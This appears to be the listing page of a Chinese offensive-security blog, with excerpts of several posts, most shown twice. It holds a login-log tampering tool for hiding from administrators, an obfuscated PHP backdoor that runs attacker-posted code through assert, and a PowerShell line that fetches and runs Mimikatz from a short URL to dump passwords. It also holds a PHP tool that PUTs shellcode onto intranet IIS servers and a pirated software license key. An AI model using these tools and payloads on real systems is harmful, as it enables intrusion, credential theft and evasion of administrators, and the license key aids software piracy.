View Code PYTHON#!/usr/bin/env python # -*- coding:utf-8 -*- # mail: cn.b4dboy@gmail.com   import sys import imp import glob import marshal import uncompyle2     files = glob.glob(r'./code/*.txt') for plug in files: txt = '' with open(plug, 'r') as f: txt = f.read()   try: arr = eval(txt) #decode some file if imp.get_magic() == arr[1][:4]: code [...] ...继续阅读 (144)

View Code PYTHON#!/usr/bin/env python # -*- coding:utf-8 -*- # mail: cn.b4dboy@gmail.com   import sys import imp import glob import marshal import uncompyle2     files = glob.glob(r'./code/*.txt') for plug in files: txt = '' with open(plug, 'r') as f: txt = f.read()   try: arr = eval(txt) #decode some file if imp.get_magic() == arr[1][:4]: code [...] ...继续阅读 (17)

    经常用到xi4oyu大神的logtamper，非常之方便。但是有些场景下可能没条件编译、于是参照logtamper源码以及Intersect的源码写了个py版，参数和原版差不多。 躲避管理员w查看 python logtamper.py -m 1 -u b4dboy -i 192.168.0.188 清除指定ip的登录日志 python logtamper.py -m 2 -u b4dboy -i 192.168.0.188 修改上次登录时间地点 python logtamper.py -m 3 -u b4dboy -i 192.168.0.188 -t tty1 -d 2014:05:28:10:11:12 最后自己再确认下看有没有修改成功，可以使用chown、touch命令修改时间和使用者，程序代码如下： View Code PYTHON#!/usr/bin/env python # -*- coding:utf-8 -*- # mail: cn.b4dboy@gmail.com   import os, struct, sys from pwd import getpwnam from time [...] ...继续阅读 (290)

    经常用到xi4oyu大神的logtamper，非常之方便。但是有些场景下可能没条件编译、于是参照logtamper源码以及Intersect的源码写了个py版，参数和原版差不多。 躲避管理员w查看 python logtamper.py -m 1 -u b4dboy -i 192.168.0.188 清除指定ip的登录日志 python logtamper.py -m 2 -u b4dboy -i 192.168.0.188 修改上次登录时间地点 python logtamper.py -m 3 -u b4dboy -i 192.168.0.188 -t tty1 -d 2014:05:28:10:11:12 最后自己再确认下看有没有修改成功，可以使用chown、touch命令修改时间和使用者，程序代码如下： View Code PYTHON#!/usr/bin/env python # -*- coding:utf-8 -*- # mail: cn.b4dboy@gmail.com   import os, struct, sys from pwd import getpwnam from time [...] ...继续阅读 (90)

Taint是PHP开发组成员Laruence所写的一个漏洞检测插件。在windows上编译的时候可能会提示INIT_PZVAL_COPY未定义。既然没有定义那我们自己给它定义一下就完事了，在php_taint.h定义，代码如下。 #ifndef INIT_PZVAL_COPY #define INIT_PZVAL_COPY(z,v) \ (z)->value = (v)->value; \ Z_TYPE_P(z) = Z_TYPE_P(v); \ Z_SET_REFCOUNT_P(z, 1); \ Z_UNSET_ISREF_P(z); #endif 生成dll的时候如果报php_taint.dll.res找不到的话，可以随便拷贝一个其他dll的资源文件改名成php_taint.dll.res、有时间想的话在他的基础上修改一下，人个感觉有些点没照顾到。 编译环境：vs2008+php5.3.0+taint-1.2.2 @b4dboy ...继续阅读 (52)

Taint是PHP开发组成员Laruence所写的一个漏洞检测插件。在windows上编译的时候可能会提示INIT_PZVAL_COPY未定义。既然没有定义那我们自己给它定义一下就完事了，在php_taint.h定义，代码如下。 #ifndef INIT_PZVAL_COPY #define INIT_PZVAL_COPY(z,v) \ (z)->value = (v)->value; \ Z_TYPE_P(z) = Z_TYPE_P(v); \ Z_SET_REFCOUNT_P(z, 1); \ Z_UNSET_ISREF_P(z); #endif 生成dll的时候如果报php_taint.dll.res找不到的话，可以随便拷贝一个其他dll的资源文件改名成php_taint.dll.res、有时间想的话在他的基础上修改一下，人个感觉有些点没照顾到。 编译环境：vs2008+php5.3.0+taint-1.2.2 @b4dboy ...继续阅读 (6)

翻手册的时候发现fetch_argument的参数PDO::FETCH_FUNC可以回调一个函数，用这东西留个后门应该可以迷惑部分管理员。 适用于：(PHP 5 >= 5.1.0, PECL pdo >= 0.1.0)。 View Code PHP<?php   if(($db = @new PDO('sqlite::memory:')) && ($sql = strrev('TSOP_')) && ($sql = $$sql)) { $stmt = @$db->query("SELECT '{$sql[b4dboy]}'"); $result = @$stmt->fetchAll(PDO::FETCH_FUNC, str_rot13('nffreg')); }   ?> ...继续阅读 (43)

翻手册的时候发现fetch_argument的参数PDO::FETCH_FUNC可以回调一个函数，用这东西留个后门应该可以迷惑部分管理员。 适用于：(PHP 5 >= 5.1.0, PECL pdo >= 0.1.0)。 View Code PHP<?php   if(($db = @new PDO('sqlite::memory:')) && ($sql = strrev('TSOP_')) && ($sql = $$sql)) { $stmt = @$db->query("SELECT '{$sql[b4dboy]}'"); $result = @$stmt->fetchAll(PDO::FETCH_FUNC, str_rot13('nffreg')); }   ?> ...继续阅读 (63)

smbexec pth-wmis pth-winexe Veil-Catapult Metasploit psexec Metasploit psexec_psh Windows psexec executable Impacket psexec python script . ...继续阅读 (58)

smbexec pth-wmis pth-winexe Veil-Catapult Metasploit psexec Metasploit psexec_psh Windows psexec executable Impacket psexec python script . ...继续阅读 (6)

为了快速得到某个段的shell临时简易的写了一个nmap脚本，主要功能是从bing获取同服务器站点。 View Code LUAlocal http = require "http" local nmap = require "nmap" local shortport = require "shortport" local stdnse = require "stdnse" local string = require "string"   description = [[ reverse domain for ip ]]   author = "b4dboy" license = "Same as Nmap--See http://nmap.org/book/man-legal.html" categories = {"default", "discovery", "safe"}   portrule = [...] ...继续阅读 (82)

为了快速得到某个段的shell临时简易的写了一个nmap脚本，主要功能是从bing获取同服务器站点。 View Code LUAlocal http = require "http" local nmap = require "nmap" local shortport = require "shortport" local stdnse = require "stdnse" local string = require "string"   description = [[ reverse domain for ip ]]   author = "b4dboy" license = "Same as Nmap--See http://nmap.org/book/man-legal.html" categories = {"default", "discovery", "safe"}   portrule = [...] ...继续阅读 (24)

国外大神clymb3r写的一个powershell脚本将mimikatz注入到内存调用logonPasswords获取密码，使用起来相当轻便。 以管理员权限启动CMD执行下以命令即可 powershell "IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCreds" 实战中如果机器不能上外网可以将脚本下载回来放到内网的web service上。 . ...继续阅读 (46)

国外大神clymb3r写的一个powershell脚本将mimikatz注入到内存调用logonPasswords获取密码，使用起来相当轻便。 以管理员权限启动CMD执行下以命令即可 powershell "IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCreds" 实战中如果机器不能上外网可以将脚本下载回来放到内网的web service上。 . ...继续阅读 (15)

    DiskGenius是一款国产磁盘利器，它有一个更突出的亮点,那就是支持虚拟硬盘。可以在不启动虚拟机的情况下管理虚拟机的磁盘文件，当虚拟机无法启动或忘记密码时都可以把磁盘文件拷出来了。 # 使用方法 硬盘(D) --> 打开虚拟磁盘文件(V) 选中*.vmdk文件即可，如：b4dboy.vmdk 之后就可以像资源管理器一样管理了。 ...继续阅读 (20)

    DiskGenius是一款国产磁盘利器，它有一个更突出的亮点,那就是支持虚拟硬盘。可以在不启动虚拟机的情况下管理虚拟机的磁盘文件，当虚拟机无法启动或忘记密码时都可以把磁盘文件拷出来了。 # 使用方法 硬盘(D) --> 打开虚拟磁盘文件(V) 选中*.vmdk文件即可，如：b4dboy.vmdk 之后就可以像资源管理器一样管理了。 ...继续阅读 (6)

    在webshell上探测到内网几个开了put的iis由于防火墙的原因没有交互式环境，情急之下随手用php写了个简易的利用工具（因为webshell是php的）。 代码如下： View Code PHP<?php   error_reporting(0); $des = ''; $url = 'http://192.168.8.88/b4dboy.txt';   function put($url, $shellcode) { $options = array( 'http' => array( 'method' => 'PUT', 'content' => $shellcode, ) ); $context = @stream_context_create($options); return @file_get_contents($url, false, $context); }   function exploit($url, $dest, $move = 1) { global $des; $options = array( ...继续阅读 (46)

    在webshell上探测到内网几个开了put的iis由于防火墙的原因没有交互式环境，情急之下随手用php写了个简易的利用工具（因为webshell是php的）。 代码如下： View Code PHP<?php   error_reporting(0); $des = ''; $url = 'http://192.168.8.88/b4dboy.txt';   function put($url, $shellcode) { $options = array( 'http' => array( 'method' => 'PUT', 'content' => $shellcode, ) ); $context = @stream_context_create($options); return @file_get_contents($url, false, $context); }   function exploit($url, $dest, $move = 1) { global $des; $options = array( ...继续阅读 (6)

下载openwrt http://downloads.openwrt.org/attitude_adjustment/12.09/x86/generic/openwrt-x86-generic-combined-ext4.vmdk 执行以下命令，转换成HDD文件 prl_convert openwrt-x86-generic-combined-ext4.vmdk --allow-no-os 新建一个linux 2.6内核的虚拟机，虚拟机硬盘设置为刚才转换的HDD文件，启动虚拟机执行以下命令设置网络 uci set network.lan.ipaddr=10.211.55.188 uci set network.lan.gateway=10.211.55.1 uci set network.lan.dns=8.8.8.8 uci commit /etc/init.d/network restart 访问10.211.55.188即可在web页面进行设置了@ ...继续阅读 (51)

下载openwrt http://downloads.openwrt.org/attitude_adjustment/12.09/x86/generic/openwrt-x86-generic-combined-ext4.vmdk 执行以下命令，转换成HDD文件 prl_convert openwrt-x86-generic-combined-ext4.vmdk --allow-no-os 新建一个linux 2.6内核的虚拟机，虚拟机硬盘设置为刚才转换的HDD文件，启动虚拟机执行以下命令设置网络 uci set network.lan.ipaddr=10.211.55.188 uci set network.lan.gateway=10.211.55.1 uci set network.lan.dns=8.8.8.8 uci commit /etc/init.d/network restart 访问10.211.55.188即可在web页面进行设置了@ ...继续阅读 (34)

    平时一直都是拿DirBuster来扫目录的、感觉还不错，但是它不支持批量扫描这就比较尴尬了，于是想写个python版，py加第三方库BeautifulSoup。用BeautifulSoup是因为DirBuster支持从属性里获取链接，也就是说它自带一些简单的爬行功能，写完后发现效果不理想（管理不方便）就干脆用Scrapy来弄，这下可方便多了短短几行代码就实现了功能。于是我就在想既然爬虫都用上了干嘛不加一些简单的漏洞扫描规则？搭配redis还可以搞成分布式效率岂不是快很多！     那么问题就来了，一下子上那去弄扫描规则？这时候想起了WVS、它在web扫描器这一块一直很有份量，所以就干脆借鉴一下它是怎么写的，直接用py翻译下应该就能用。不过官方把自带的脚本全部加密了估计官方也是不想让他人看吧！好歹也搞过几年安全这玩艺能吓住我？     各种类型的脚本解密了一个我也就是想看看他的思路，所以也就没全解密了(累死我？)。总得来说还是蛮强大的，官方支持用户自己写脚本但是并没有给太多的文档，平时有写wvs脚本的朋友可以参考下，里面有些写法还不错。 WVS_SCRIPTS_DECODE.zip ...继续阅读 (190)

  由于工作关系平时审计代码比较多所以一直想写个辅助工具来减轻工作量。(当然不是那种写几个正则去全文检索的工具) 思路和传统漏洞挖掘一样也是基于污点入口，所以就涉及到词法分析语法分析等等,静态审计实现起来还是比较简单。 原先理想的状态是自己做一个php的解释器类似沙盒一样可以把程序跑起来,这里简单介绍下第一部分词法分析。   php词法分析是用re2c生成的,可以去看Zend/zend_language_scanner.l。关于re2c的相关文档也有很多所以这里就不再详细介绍， 词法分析比较简单需要注意的地方是一点要设置YYLIMIT的值，要不然在处理双引号的时候可能会取不到值，php处理双引号占了 整个词法分析的很大一部分。 我这里主要实现了和php系统函数token_get_all一样的功能，代码如图： 运行效果如下： 写的匆忙没写详细等有时间详细的记录一编，先回去lol了。 ...继续阅读 (33)

话不多说用过都说好，产品经理必备 下载地址：http://www.axure.com/download 激活码 用户：aaa 密匙：2GQrt5XHYY7SBK/4b22Gm4Dh8alaR0/0k3gEN5h7FkVPIn8oG3uphlOeytIajxGU Win7下使用一切正常，b4dboy在mac有闪退现象。 ...继续阅读 (22)